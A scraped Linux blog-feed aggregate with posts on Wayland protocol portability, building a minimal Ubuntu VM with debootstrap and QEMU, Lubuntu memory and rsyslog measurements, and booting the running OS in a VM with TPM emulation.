<p>Another issue is portability layers like Wine which need to run Windows applications as-is on Wayland. Apparently Wine’s Wayland driver has some heuristics to make window positioning work (and I am amazed by the work done on this!), but that can only go so far.</p>
<h3 class="wp-block-heading">A way out?</h3>
<p>So, how would we actually solve this? Fundamentally, this excessively long blog post boils down to just one essential question:</p>
<p><strong>Do we want to force applications to submit to a UX paradigm unconditionally, potentially loosing out on application ports or keeping apps on X11 eternally, or do we want to throw them some rope to get as many applications ported over to Wayland, even through we might sacrifice some protocol purity?</strong></p>
<p>I think we really have to answer that to make the discussions on wayland-protocols a lot less grueling. This question can be answered at the wayland-protocols level, but even more so it <em>must</em> be answered by the individual desktops and compositors.</p>
<p>If the answer for your environment turns out to be “Yes, we want the Wayland protocol to be more opinionated and will not make any compromises for application portability”, then your desktop/compositor should just immediately NACK protocols that add something like this and you simply shouldn’t engage in the discussion, as you reject the very premise of the new protocol: That it has any merit to exist and is needed in the first place. In this case contributors to Wayland and application authors also know where you stand, and a lot of debate is skipped. Of course, if application authors want to support your environment, you are basically asking them now to rewrite their UI, which they may or may not do. But at least they know what to expect and how to target your environment.</p>
<p>If the answer turns out to be “We do want some portability”, the next question obviously becomes where the line should be drawn and which changes are acceptable and which aren’t. We can’t blindly copy all X11 behavior, some porting work to Wayland is simply inevitable. Some written rules for that might be nice, but probably more importantly, if you agree fundamentally that there is an issue to be fixed, please engage in the discussions for the respective MRs! We for sure do not want to repeat X11 mistakes, and I am certain that we can implement protocols which provide the required functionality in a way that is a nice compromise in allowing applications a path forward into the Wayland future, while also being as good as possible and improving upon X11. For example, the toplevel-icon proposal is already a lot better than anything X11 ever had. <a href="https://gitlab.freedesktop.org/wayland/wayland-protocols/-/merge_requests/192">Relaxing ACK requirements for the ext namespace</a> is also a good proposed administrative change, as it allows some compositors to add features they want to support to the shared repository easier, while also not mandating them for others. In my opinion, it would allow for a lot less friction between the two different ideas of how Wayland protocol development should work. Some compositors could move forward and support more protocol extensions, while more restrictive compositors could support less things. Applications can detect supported protocols at launch and change their behavior accordingly (ideally even abstracted by toolkits).</p>
<p>You may now say that a lot of apps are ported, so surely this issue can not be that bad. And yes, what Wayland provides today may be enough for 80-90% of all apps. But what I hope the detour into the research lab has done is convince you that this smaller percentage of apps <em>matters</em>. A lot. And that it may be worthwhile to support them.</p>
<p>To end on a positive note: When it came to porting concrete apps over to Wayland, the only real showstoppers so far<sup class="fn" data-fn="3cb0e40a-1202-4734-b501-c8ef302c458a"><a href="https://blog.tenstral.net/category/planet/planet-ubuntu/feed#3cb0e40a-1202-4734-b501-c8ef302c458a" id="3cb0e40a-1202-4734-b501-c8ef302c458a-link">5</a></sup> were the missing window-positioning and window-position-restore features. I encountered them when porting my own software, and I got the issue as feedback from colleagues and fellow engineers. In second place was UI testing and automation support, the window-icon issue was mentioned twice, but being a cosmetic issue it likely simply hurts people less and they can ignore it easier.</p>
<p>What this means is that the majority of apps are already fine, and many others are very, very close! A Wayland future for everyone is within our grasp! <img alt="😄" class="wp-smiley" src="https://s.w.org/images/core/emoji/14.0.0/72x72/1f604.png" style="height: 1em;" /></p>
<p>I will also bring my two protocol MRs to their conclusion for sure, because as application developers we need clarity on what the platform (either all desktops or even just a few) supports and will or will not support in future. And the only way to get something good done is by contribution and friendly discussion.</p>
<h4 class="wp-block-heading">Footnotes</h4>
<ol class="wp-block-footnotes"><li id="ddee6e08-d4f7-4154-a7e3-4d67d99399da">Apologies for the clickbait-y title – it comes with the subject <img alt="😉" class="wp-smiley" src="https://s.w.org/images/core/emoji/14.0.0/72x72/1f609.png" style="height: 1em;" /> <a href="https://blog.tenstral.net/category/planet/planet-ubuntu/feed#ddee6e08-d4f7-4154-a7e3-4d67d99399da-link"><img alt="↩" class="wp-smiley" src="https://s.w.org/images/core/emoji/14.0.0/72x72/21a9.png" style="height: 1em;" />︎</a></li><li id="9f1f8a66-e687-4060-b58b-00d1f11bcf16">When I talk about “Wayland” I mean the combined set of display server protocols and accepted protocol extensions, unless otherwise clarified. <a href="https://blog.tenstral.net/category/planet/planet-ubuntu/feed#9f1f8a66-e687-4060-b58b-00d1f11bcf16-link"><img alt="↩" class="wp-smiley" src="https://s.w.org/images/core/emoji/14.0.0/72x72/21a9.png" style="height: 1em;" />︎</a></li><li id="d38e2c51-f896-4f30-a445-2c34cbddafe5">I would have picked a picture from our lab, but that would have needed permission first <a href="https://blog.tenstral.net/category/planet/planet-ubuntu/feed#d38e2c51-f896-4f30-a445-2c34cbddafe5-link"><img alt="↩" class="wp-smiley" src="https://s.w.org/images/core/emoji/14.0.0/72x72/21a9.png" style="height: 1em;" />︎</a></li><li id="3c0e34c4-43ff-47f1-84b4-b99a7d9aac2f">Qt has awesome “platform issues” pages, like for <a href="https://doc.qt.io/qt-6/macos-issues.html">macOS</a> and <a href="https://doc.qt.io/qt-6/linux-issues.html">Linux/X11</a> which help with porting efforts, but Qt doesn’t even list Linux/Wayland as <a href="https://doc.qt.io/qt-6/supported-platforms.html">supported platform</a>. There is some information though, like <a href="https://doc.qt.io/qt-6/application-windows.html#wayland-peculiarities">window geometry peculiarities</a>, which aren’t particularly helpful when porting (but still essential to know). <a href="https://blog.tenstral.net/category/planet/planet-ubuntu/feed#3c0e34c4-43ff-47f1-84b4-b99a7d9aac2f-link"><img alt="↩" class="wp-smiley" src="https://s.w.org/images/core/emoji/14.0.0/72x72/21a9.png" style="height: 1em;" />︎</a></li><li id="3cb0e40a-1202-4734-b501-c8ef302c458a">Besides issues with Nvidia hardware – CUDA for simulations and machine-learning is pretty much everywhere, so Nvidia cards are common, which causes trouble on Wayland still. It is improving though. <a href="https://blog.tenstral.net/category/planet/planet-ubuntu/feed#3cb0e40a-1202-4734-b501-c8ef302c458a-link"><img alt="↩" class="wp-smiley" src="https://s.w.org/images/core/emoji/14.0.0/72x72/21a9.png" style="height: 1em;" />︎</a></li></ol>2024-01-11T16:24:00+00:00MatthiasAaron Rainbolt: Making hyper-minimal Ubuntu virtual machines with debootstrap
https://arraybolt3.substack.com/p/making-hyper-minimal-ubuntu-virtual
<p>Every so often I have to make a new virtual machine for some specific use case. Perhaps I need a newer version of Ubuntu than the one I’m running on my hardware in order to build some software, and containerization just isn’t working. Or maybe I need to test an app that I made modifications to in a fresh environment. In these instances, it can be quite helpful to be able to spin up these virtual machines quickly, and only install the bare minimum software you need for your use case.</p><p>One common strategy when making a minimal or specially customized install is to use a server distro (like Ubuntu Server for instance) as the base and then install other things on top of it. This <em>sorta</em> works, but it’s less than ideal for a couple reasons:</p><ul><li><p>Server distros are not the same as minimal distros. They may provide or offer software and configurations that are intended for a server use case. For instance, the ubuntu-server metapackage in Ubuntu depends on software intended for RAID array configuration and logical volume management, and it recommends software that enables LXD virtual machine related features. Chances are you don’t need or want these sort of things.</p></li><li><p>They can be time-consuming to set up. You have to go through the whole server install procedure, possibly having to configure or reconfigure things that are pointless for your use case, just to get the distro to install. Then you have to log in and customize it, adding an extra step.</p></li></ul><p>If you’re able to use Debian as your distro, these problems aren’t so bad since Debian is sort of like Arch Linux - there’s a minimal base that you build on to turn it into a desktop or server. But for Ubuntu, there’s desktop images (not usually what you want), server images (not usually what you want), cloud images (might be usable but could be tricky), and Ubuntu Core images (definitely not what you want for most use cases). So how exactly do you make a minimal Ubuntu VM?</p><p>As hinted at above, a cloud image might work, but we’re going to use a different solution here. As it turns out, you don’t actually have to use a prebuilt image or installer to install Ubuntu. Similar to the installation procedure Arch Linux provides, you can install Ubuntu manually, giving you very good control over what goes into your VM and how it’s configured.</p><p>This guide is going to be focused on doing a manual installation of Ubuntu into a VM, using debootstrap to install the initial minimal system. You can use this same technique to install Ubuntu onto physical hardware by just booting from a live USB and then using this technique on your hardware’s physical disk(s). However we’re going to be primarily focused on using a VM right now. Also, the virtualization software we’re going to be working with is QEMU. If you’re using a different hypervisor like VMware, VirtualBox, or Hyper-V, you can make a new VM and then install Ubuntu manually into it the same way you would install Ubuntu onto physical hardware using this technique. QEMU, however, provides special tools that make this procedure easier, and QEMU is more flexible than other virtualization software in my experience. You can install it by running <code>sudo apt install qemu-system-x86</code> on your host system.</p><p>With that laid out, let us begin.</p><p>Open a terminal on your physical machine, and make a directory for your new VM to reside in. I’ll use “~/VMs/Ubuntu” here.</p><p><code>mkdir ~/VMs/Ubuntu<br />cd ~/VMs/Ubuntu</code></p><p>Next, let’s make a virtual disk image for the VM using the <code>qemu-img</code> utility.</p><p><code>qemu-img create -f qcow2 ubuntu.img 32G</code></p><p>This will make a 32 GiB disk image - feel free to customize the size or filename as you see fit. The <code>-f</code> parameter at the beginning specifies the VM disk image format. QCOW2 is usually a good option since the image will start out small and then get bigger as necessary. However, if you’re already using a copy-on-write filesystem like BTRFS or ZFS, you might want to use <code>-f raw</code> rather than <code>-f qcow2</code> - this will make a raw disk image file and avoid the overhead of the QCOW2 file format.</p><p>Now we need to attach the disk image to the host machine as a device. I usually do this with you can use qemu-nbd, which can attach a QEMU-compatible disk image to your physical system as a network block device. These devices look and work just like physical disks, which makes them extremely handy for modifying the contents of a disk image.</p><p>qemu-nbd requires that the nbd kernel module be loaded, and at least on Ubuntu, it’s not loaded by default, so we need to load it before we can attach the disk image to our host machine.</p><p><code>sudo modprobe nbd<br />sudo qemu-nbd -f qcow2 -c /dev/nbd0 ./ubuntu.img</code></p><p>This will make our ubuntu.img file available through the /dev/nbd0 device. Make sure to specify the format via the <code>-f</code> switch, especially if you’re using a raw disk image. QEMU will keep you from writing a new partition table to the disk image if you give it a raw disk image without telling it directly that the disk image is raw.</p><p>Once your disk image is attached, we can partition it and format it just like a real disk. For simplicity’s sake, we’ll give the drive an MBR partition table, create a single partition enclosing all of the disk’s space, then format the partition as ext4.</p><p><code>sudo fdisk /dev/nbd0<br />n<br />p<br />1<br /><br /><br />w<br />sudo mkfs.ext4 /dev/nbd0p1</code></p><p>(The two blank lines are intentional - they just accept the default options for the partition’s first and last sector, which makes a partition that encloses all available space on the disk.)</p><p>Now we can mount the new partition.</p><p><code>mkdir vdisk<br />sudo mount /dev/nbd0p1 ./vdisk</code></p><p>Now it’s time to install the minimal Ubuntu system. You’ll need to know the first part of the codename for the Ubuntu version you intend to install. The codenames for Ubuntu releases are an adjective followed by the name of an animal, like “Jammy Jellyfish”. The first word (“Jammy” in this instance) is the one you need. These codenames are easy to look up online. Here’s the codenames for the currently supported LTS versions of Ubuntu, as well as the codename for the current development release:</p><p><code>+-------------------+-------+<br />| 20.04 | Focal |<br />|-------------------+-------+<br />| 22.04 | Jammy |<br />|-------------------+-------+<br />| 24.04 Development | Noble |<br />|-------------------+-------+</code></p><p>To install the initial minimal Ubuntu system, we’ll use the debootstrap utility. This utility will download and install the bare minimum packages needed to have a functional Ubuntu system. Keep in mind that the Ubuntu installation this tool makes is <em>really</em> minimal - it doesn’t even come with a bootloader or Linux kernel. We’ll need to make quite a few changes to this installation before it’s ready for use in a VM.</p><p>Assuming we’re installing Ubuntu 22.04 LTS into our VM, the command to use is:</p><p><code>sudo debootstrap jammy ./vdisk</code></p><p>After a few minutes, our new system should be downloaded and installed. (Note that debootstrap does require root privileges.)</p><p>Now we’re ready to customize the VM! To do this, we’ll use a utility called chroot - this utility allows us to “enter” an installed Linux system, so we can modify with it without having to boot it. (This is done by changing the root directory (from the perspective of the chroot process) to whatever directory you specify, then launching a shell or program inside the specified directory. The shell or program will see its root directory as being the directory you specified, and volia, it’s as if we’re “inside” the installed system without having to boot it. This is a very weak form of containerization and shouldn’t be relied on for security, but it’s perfect for what we’re doing.)</p><p>There’s one thing we have to account for before chrooting into our new Ubuntu installation. Some commands we need to run will assume that certain special directories are mounted properly - in particular, /proc should point to a procfs filesystem, /sys should point to a sysfs filesystem, /dev needs to contain all of the device files of our system, and /dev/pts needs to contain the device files for pseudoterminals (you don’t have to know what any of that means, just know that those four directories are important and have to be set up properly). If these directories are not properly mounted, some tools will behave strangely or not work at all. The easiest way to solve this problem is with bind mounts. These basically tell Linux to make the contents of one directory visible in some other directory too. (These are sort of like symlinks, but they work differently - a symlink says “I’m a link to something, go over here to see what I contain”, whereas a bind mount says “make this directory’s contents visible over here too”. The differences are subtle but important - a symlink can’t make files outside of a chroot visible inside the chroot. A bind mount, however, can.)</p><p>So let’s bind mount the needed directories from our system into the chroot:</p><p><code>sudo mount --bind /dev ./vdisk/dev<br />sudo mount --bind /proc ./vdisk/proc<br />sudo mount --bind /sys ./vdisk/sys<br />sudo mount --bind /dev/pts ./vdisk/dev/pts</code></p><p>And now we can chroot in!</p><p><code>sudo chroot ./vdisk</code></p><p>Run <code>ping -c1 8.8.8.8</code> just to make sure that Internet access is working - if it’s not, you may need to copy the host’s /etc/resolv.conf file into the VM. However, you probably won’t have to do this. Assuming Internet is working, we can now start customizing things.</p><p>By default, debootstrap only enables the “main” repository of Ubuntu. This repository only contains free-and-open-source software that is supported by Canonical. This does *not* include most of the software available in Ubuntu - most of it is in the “universe”, “restricted”, and “multiverse” repositories. If you really know what you’re doing, you can leave some of these repositories out, but I would highly recommend you enable them. Also, only the “release” pocket is enabled by default - this pocket includes all of the software that came with your chosen version of Ubuntu when it was first released, but it <em>doesn’t</em> include bug fixes, security updates, or newer versions of software. All those are in the “updates”, “security”, and “backports” pockets.</p><p>To fix this, run the following block of code, adjusted for your release of Ubuntu:</p><p><code>tee /etc/apt/sources.list << ENDSOURCESLIST <br />deb http://archive.ubuntu.com/ubuntu jammy main universe restricted multiverse <br />deb http://archive.ubuntu.com/ubuntu jammy-updates main universe restricted multiverse <br />deb http://archive.ubuntu.com/ubuntu jammy-security main universe restricted multiverse <br />deb http://archive.ubuntu.com/ubuntu jammy-backports main universe restricted multiverse <br />ENDSOURCESLIST</code></p><p>Replace “jammy” with the codename corresponding to your chosen release of Ubuntu. Once you’ve run this, run <code>cat /etc/apt/sources.list</code> to make sure the file looks right, then run <code>apt update</code> to refresh your software database with the newly enabled repositories. Once that’s done, run <code>apt full-upgrade</code> to update any software in the base installation that’s out-of-date.</p><p>What exactly you install at this point is up to you, but here’s my list of recommendations:</p><ul><li><p>linux-generic. <strong>Highly recommended.</strong> This provides the Linux kernel. Without it, you’re going to have significant trouble booting. You can replace this with a different kernel metapackage if you want to for some reason (like linux-lowlatency).</p></li><li><p>grub-pc. <strong>Highly recommended.</strong> This is the bootloader. You might be able to replace this with an alternative bootloader like systemd-boot.</p></li><li><p>vim (or some other decent text editor that runs in a terminal). <strong>Highly recommended.</strong> The minimal install of Ubuntu doesn’t come with a good text editor, and you’ll really want one of those most likely.</p></li><li><p>network-manager. <strong>Highly recommended.</strong> If you don’t install this or some other network manager, you won’t have Internet access. You can replace this with an alternative network manager if you’d like.</p></li><li><p>tmux. <strong>Recommended.</strong> Unless you’re going to install a graphical environment, you’ll probably want a terminal multiplexer so you don’t have to juggle TTYs (which is especially painful in QEMU).</p></li><li><p>openssh-server. <strong>Optional.</strong> This is handy since it lets you use your terminal emulator of choice on your physical machine to interface with the virtual machine. You won’t be stuck using a rather clumsy and slow TTY in a QEMU display.</p></li><li><p>pulseaudio. <strong>Very optional.</strong> Provides sound support within the VM.</p></li><li><p>icewm + xserver-xorg + xinit + xterm. <strong>Very optional.</strong> If you need or want a graphical environment, this should provide you with a fairly minimal and fast one. You’ll still log in at a TTY, but you can use <code>startx</code> to start a desktop.</p></li></ul><p>Add whatever software you want to this list, remove whatever you don’t want, and then install it all with this command:</p><p><code>apt install listOfPackages</code></p><p>Replace “listOfPackages” with the actual list of packages you want to install. For instance, if I were to install everything in the above list except openssh-server, I would use:</p><p><code>apt install linux-generic grub-pc vim network-manager tmux icewm xserver-xorg xinit xterm</code></p><p>At this point our software is installed, but the VM still has a few things needed to get it going.</p><ul><li><p>We need to install and configure the bootloader.</p></li><li><p>We need an /etc/fstab file, or the system will boot with the drive mounted read-only.</p></li><li><p>We should probably make a non-root user with sudo access.</p></li><li><p>There’s a file in Ubuntu that will prevent Internet access from working. We should delete it now.</p></li></ul><p>The bootloader is pretty easy to install and configure. Just run:</p><p><code>sudo grub-install /dev/nbd0<br />sudo update-grub</code></p><p>For /etc/fstab, there are a few options. One particularly good one is to label the partition we installed Ubuntu into using e2label, then use that label as the ID of the drive we want to mount as root. That can be done like this:</p><p><code>e2label /dev/nbd0p1 ubuntu-inst<br />echo "LABEL=ubuntu-inst / ext4 defaults 0 1" > /etc/fstab</code></p><p>Making a user account is fairly easy:</p><p><code>adduser user # follow the prompts to create the user<br />adduser user sudo</code></p><p>And lastly, we should remove the Internet blocker file. I don’t understand why exactly this file exists in Ubuntu, but it does, and it causes problems for me when I make a minimal VM in this way. Removing it fixes the problem.</p><p><code>rm /usr/lib/NetworkManager/conf.d/10-globally-managed-devices.conf</code></p><p><strong>EDIT: January 21, 2024: </strong>This <code>rm</code> command doesn’t actually work forever - an update to NetworkManager can end up putting this file back, breaking networking again. Rather than using <code>rm</code> on it, you should <code>dpkg-divert</code> it somewhere benign, for instance with <code>dpkg-divert --divert /usr/lib/NetworkManager/conf.d/10-globally-managed-devices.conf --rename /var/nm-globally-managed-devices-junk.old</code>, which should persist even after an update.</p><p>And that’s it! Now we can exit the chroot, unmount everything, and detach the disk image from our host machine.</p><p><code>exit<br />sudo umount ./vdisk/dev/pts<br />sudo umount ./vdisk/dev<br />sudo umount ./vdisk/proc<br />sudo umount ./vdisk/sys<br />sudo umount ./vdisk<br />sudo qemu-nbd -d /dev/nbd0</code></p><p>Now we can try and boot the VM. But before doing that, it’s probably a good idea to make a VM launcher script. Run <code>vim ./startVM.sh</code> (replacing “vim” with your text editor of choice), then type the following contents into the file:</p><p><code>#!/bin/bash<br />qemu-system-x86_64 -enable-kvm -machine q35 -m 4G -smp 2 -vga qxl -display sdl -monitor stdio -device intel-hda -device hda-duplex -usb -device usb-tablet -drive file=./ubuntu.img,format=qcow2,if=virtio</code></p><p>Refer to the <code>qemu-system-x86_64</code> manpage or QEMU Invocation documentation page at https://www.qemu.org/docs/master/system/invocation.html for more info on what all these options do. Basically this gives you a VM with 4 GB RAM, 2 CPU cores, decent graphics (not 3d accelerated but not as bad as plain VGA), and audio support. You can tweak the amount of RAM and number of CPU cores by changing the <code>-m</code> and <code>-smp</code> parameters respectively. You’ll have access to the QEMU monitor through whatever terminal you run the launcher script in, allowing you to do things like switch to a different TTY, insert and remove devices and storage media on the fly, and things like that.</p><p>Finally, it’s time to see if it works.</p><p><code>chmod +x ./startVM.sh<br />./startVM.sh</code></p><p>If all goes well, the VM should boot and you should be able to log in! If you installed IceWM and its accompanying software like mentioned earlier, try running <code>startx</code> once you log in. This should pop open a functional IceWM desktop.</p><p>Some other things you should test once you’re logged in:</p><ul><li><p>Do you have Internet access? <code>ping -c1 8.8.8.8</code> can be used to test. If you don’t have Internet, run <code>sudo nmtui</code> in a terminal and add a new Ethernet network within the VM, then try activating it. If you get an error about the Ethernet device being strictly unmanaged, you probably forgot to remove the /usr/lib/NetworkManager/conf.d/10-globally-managed-devices.conf file mentioned earlier.</p></li><li><p>Can you write anything to the drive? Try running <code>touch test</code> to make sure. If you can’t, you probably forgot to create the /etc/fstab file.</p></li></ul><p>If either of these things don’t work, you can power off the VM, then re-attach the VM’s virtual disk to your host machine, mount it, and chroot in like this:</p><p><code>sudo qemu-nbd -f qcow2 -c /dev/nbd0 ./ubuntu.img<br />sudo mount /dev/nbd0p1 ./vdisk<br />sudo chroot vdisk</code></p><p>Since all you’ll be doing is writing or removing a file, you don’t need to bind mount all the special directories we had to work with earlier.</p><p>Once you’re done fixing whatever is wrong, you can exit the VM, unmount and detach its disk, and then try to boot it again like this:</p><p><code>exit<br />sudo umount vdisk<br />sudo qemu-nbd -d /dev/nbd0<br />./startVM.sh</code></p><p>You now have a fully functional, minimal VM! Some extra tips that you may find handy:</p><ul><li><p>If you choose to install an SSH server into your VM, you can use the “hostfwd” setting in QEMU to forward a port on your local machine to port 22 within the VM. This will allow you to SSH into the VM. Add a parameter like <code>-nic user,hostfwd=tcp:127.0.0.1:2222-:22</code> to your QEMU command in the “startVM.sh” script. This will forward port 2222 of your host machine to port 22 of the VM. Then you can SSH into the VM by running <code>ssh user@127.0.0.1 -p 2222</code>. The “hostfwd” QEMU feature is documented at https://www.qemu.org/docs/master/system/invocation.html - just search the page for “hostfwd” to find it.</p></li><li><p>If you intend to use the VM through SSH only and don’t want a QEMU window at all, remove the following three parameters from the QEMU command in “startVM.sh”:</p><ul><li><p><code>-vga qxl</code></p></li><li><p><code>-display sdl</code></p></li><li><p><code>-monitor stdio</code></p></li></ul><p>Then add the following switch:</p><ul><li><p><code>-nographic</code></p></li></ul><p>This will disable the graphical QEMU window entirely and provide no video hardware to the VM.</p></li><li><p>You can disable sound support by removing the following switches from the QEMU command in “startVM.sh”:</p><ul><li><p><code>-device intel-hda</code></p></li><li><p><code>-device hda-duplex</code></p></li></ul></li></ul><p>There’s lots more you can do with QEMU and manual Ubuntu installations like this, but I think this should give you a good start. Hope you find this useful! God bless.</p><div class="subscription-widget-wrap" data-attrs="{"url":"https://arraybolt3.substack.com/subscribe?","text":"Subscribe","language":"en"}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading Arraybolt's Archives! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input class="email-input" name="email" tabindex="-1" type="email" /><input class="button primary" type="submit" value="Subscribe" /><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>2023-11-30T22:34:54+00:00Aaron RainboltBryan Quigley: Lubuntu Memory Usage and Rsyslog
https://bryanquigley.com/posts/memory-usage/2023-lubuntu-focus.html
<div><p>In 2020 I reviewed <a href="https://bryanquigley.com/posts/memory-usage/2020-livecd-memory-usage-compare.html">LiveCD memory usage</a>.</p>
<p>I was hoping to review either Wayland only or immutable only (think ostree/flatpak/snaps etc) but for various reasons on my setup it would just be a Gnome compare and that's just not as interesting. There are just to many distros/variants for me to do a full followup.</p>
<p>Lubuntu has previously always been the winner, so let's just see how Lubuntu 23.10 is doing today.</p>
<p>Previously in 2020 Lubuntu needed to get to 585 MB to be able to run something with a livecd. With a fresh install today Lubuntu can still launch Qterminal with just 540 MB of RAM (not apples to apples, but still)! And that's without Zram that it had last time.</p>
<p>I decided to try removing some parts of the base system to see the cost of each component (with 10MB accuracy). I disabled networking to try and make it a fairer compare.</p>
<ul>
<li>Snapd - 30 MiB</li>
<li>Printing - cups<em> foomatic</em> - 10 MiB</li>
<li>rsyslog/crons - 10 MiB</li>
</ul>
<h2>Rsyslog impact</h2>
<p>Out of the 3 above it's felt more like with rsyslog (and cron) are redundant in modern Linux with systemd. So I tried hitting the log system to see if we could get a slowdown, by every .1 seconds having a service echo lots of gibberish.</p>
<p>After an hour of uptime, this is how much space was used:</p>
<ul>
<li>syslog 575M</li>
<li>journal at 1008M</li>
</ul>
<p>CPU Usage on fresh boot after:</p>
<p>With Rsyslog</p>
<ul>
<li>gibberish service was at 1% CPU usage</li>
<li>rsyslog was at 2-3%</li>
<li>journal was at ~4%</li>
</ul>
<p>Without Rsyslog</p>
<ul>
<li>gibberish service was at 1% CPU usage</li>
<li>journal was at 1-3%</li>
</ul>
<p>That's a pretty extreme case, but does show some impact of rsyslog, which in most desktop settings is redundant anyway.</p>
<p>Testing notes:</p>
<ul>
<li>2 CPUs (Copy host config)</li>
<li>Lubuntu 23.10 install</li>
<li>no swap file</li>
<li>ext4, no encryption</li>
<li>login automatically</li>
<li>Used Virt-manager and only default change was enabling EUFI</li>
</ul></div>2023-11-25T02:42:05+00:00Bryan QuigleyAndrea Corbellini: Running the operating system that you're currently using in a virtual machine (with Secure Boot and TPM emulation)
https://andrea.corbellini.name/2023/11/19/running-current-os-inside-vm/
<p>In this article I will show you how to start your current operating system
inside a virtual machine. That is: launching the operating system (with all
your settings, files, and everything), inside a virtual machine, while you’re
using it.</p>
<p>This article was written for Ubuntu, but it can be easily adapted to other
distributions, and with appropriate care it can be adapted to non-Linux kernels
and operating systems as well.</p>
<h1 id="motivation">Motivation</h1>
<p>Before we start, why would a sane person want to do this in the first place?
Well, here’s why I did it:</p>
<ul>
<li>
<p><strong>To test changes that affect Secure Boot without a reboot.</strong></p>
<p>Recently I was doing some experiments with Secure Boot and the Trusted
Platform Module (TPM) on a new laptop, and I got frustrated by how time
consuming it was to test changes to the boot chain. Every time I modified a
file involved during boot, I would need to reboot, then log in, then
re-open my terminal windows and files to make more modifications… Plus,
whenever I screwed up, I would need to manually recover my system, which
would be even more time consuming.</p>
<p>I thought that I could speed up my experiments by using a virtual machine
instead.</p>
</li>
<li>
<p><strong>To predict the future TPM state (in particular, the values of PCRs 4, 5,
8, and 9) after a change, without a reboot.</strong></p>
<p>I wanted to predict the values of my TPM PCR banks after making changes to
the bootloader, kernel, and initrd. Writing a script to calculate the PCR
values automatically is in principle not that hard (and I actually did it
before, in a different context), but I wanted a robust, generic solution
that would work on most systems and in most situations, and emulation was
the natural choice.</p>
</li>
<li>
<p>And, of course, <strong>just for the fun of it!</strong></p>
</li>
</ul>
<p>To be honest, I’m not a big fan of Secure Boot. The reason why I’ve been
working on it is simply that it’s the standard nowadays and so I have to stick
with it. Also, there are no real alternatives out there to achieve the same
goals. I’ll write an article about Secure Boot in the future to explain the
reasons why I don’t like it, and how to make it work better, but that’s another
story…</p>
<h1 id="procedure">Procedure</h1>
<p>The procedure that I’m going to describe has 3 main steps:</p>
<ol>
<li>create a copy of your drive</li>
<li>emulate a TPM device using swtpm</li>
<li>emulate the system with QEMU</li>
</ol>
<p>I’ve tested this procedure on Ubuntu 23.04 (Lunar) and 23.10 (Mantic), but it
should work on any Linux distribution with minimal adjustments. The general
approach can be used for any operating system, as long as appropriate
replacements for QEMU and swtpm exist.</p>
<h2 id="prerequisites">Prerequisites</h2>
<p>Before we can start, we need to install:</p>
<ul>
<li><a href="https://www.qemu.org/">QEMU</a>: a virtual machine emulator</li>
<li><a href="https://github.com/stefanberger/swtpm/wiki">swtpm</a>: a TPM emulator</li>
<li><a href="https://wiki.ubuntu.com/UEFI/OVMF">OVMF</a>: a UEFI firmware implementation</li>
</ul>
<p>On a recent version of Ubuntu, these can be installed with:</p>
<div class="highlight"><pre><span></span><code>sudo apt install qemu-system-x86 ovmf swtpm
</code></pre></div>
<p>Note that OVMF only supports the x86_64 architecture, so we can only emulate
that. If you run a different architecture, you’ll need to find another UEFI
implementation that is not OVMF (but I’m not aware of any freely available
ones).</p>
<h2 id="create-a-copy-of-your-drive">Create a copy of your drive</h2>
<p>We can decide to either:</p>
<ul>
<li>
<p><strong>Choice #1: <a href="https://andrea.corbellini.name/ubuntu.rss#early-boot-components-only">run only the components involved early at
boot</a> (shim, bootloader, kernel, initrd).</strong> This
is useful if you, like me, only need to test those components and how they
affect Secure Boot and the TPM, and don’t really care about the rest (the
init process, login manager, …).</p>
</li>
<li>
<p><strong>Choice #2: <a href="https://andrea.corbellini.name/ubuntu.rss#entire-system">run the entire operating system</a>.</strong> This can
give you a fully usable operating system running inside the virtual machine,
but may also result in some instability inside the guest (because we’re
giving it a filesystem that is in use), and may also lead to some data loss
if we’re not careful and make typos. Use with care!</p>
</li>
</ul>
<h3 id="early-boot-components-only">Choice #1: Early boot components only</h3>
<p>If we’re interested in the early boot components only, then we need to make a
copy the following from our drive: the GPT partition table, the EFI partition,
and the <code>/boot</code> partition (if we have one). Usually all these 3 pieces are at
the “start” of the drive, but this is not always the case.</p>
<p>To figure out where the partitions are located, run:</p>
<div class="highlight"><pre><span></span><code>sudo parted -l
</code></pre></div>
<p>On my system, this is the output:</p>
<div class="highlight"><pre><span></span><code>Model: WD_BLACK SN750 2TB (nvme)
Disk /dev/nvme0n1: 2000GB
Sector size (logical/physical): 512B/512B
Partition Table: gpt
Disk Flags:
Number Start End Size File system Name Flags
1 1049kB 525MB 524MB fat32 boot, esp
2 525MB 1599MB 1074MB ext4
3 1599MB 2000GB 1999GB lvm
</code></pre></div>
<p>In my case, the partition number 1 is the EFI partition, and the partition
number 2 is the <code>/boot</code> partition. If you’re not sure what partitions to look
for, run <code>mount | grep -e /boot -e /efi</code>. Note that, on some distributions
(most notably the ones that use <code>systemd-boot</code>), a <code>/boot</code> partition may not
exist, so you can leave that out in that case.</p>
<p>Anyway, in my case, I need to copy the first 1599 MB of my drive, because
that’s where the data I’m interested in ends: those first 1599 MB contain the
GPT partition table (which is always at the start of the drive), the EFI
partition, and the <code>/boot</code> partition.</p>
<p>Now that we have identified how many bytes to copy, we can copy them to a file
named <code>drive.img</code> with <code>dd</code> (maybe after running <code>sync</code> to make sure that all
changes have been committed):</p>
<div class="highlight"><pre><span></span><code># replace '/dev/nvme0n1' with your main drive (which may be '/dev/sda' instead),
# and 'count' with the number of MBs to copy
sync && sudo -g disk dd if=/dev/nvme0n1 of=drive.img bs=1M count=1599 conv=sparse
</code></pre></div>
<h3 id="entire-system">Choice #2: Entire system</h3>
<p>If we want to run our entire system in a virtual machine, then I would
recommend creating a QEMU copy-on-write (COW) file:</p>
<div class="highlight"><pre><span></span><code># replace '/dev/nvme0n1' with your main drive (which may be '/dev/sda' instead)
sudo -g disk qemu-img create -f qcow2 -b /dev/nvme0n1 -F raw drive.qcow2
</code></pre></div>
<p>This will create a new copy-on-write image using <code>/dev/nvme0n1</code> as its “backing
storage”. Be very careful when running this command: you don’t want to mess up
the order of the arguments, or you might end up writing to your storage device
(leading to data loss)!</p>
<p>The advantage of using a copy-on-write file, as opposed to copying the whole
drive, is that this is much faster. Also, if we had to copy the entire drive,
we might not even have enough space for it (even when using sparse files).</p>
<p>The big drawback of using a copy-on-write file is that, because our main drive
likely contains filesystems that are mounted read-write, any modification to
the filesystems on the host may be perceived as data corruption on the guest,
and that in turn may cause all sort of bad consequences inside the guest,
including kernel panics.</p>
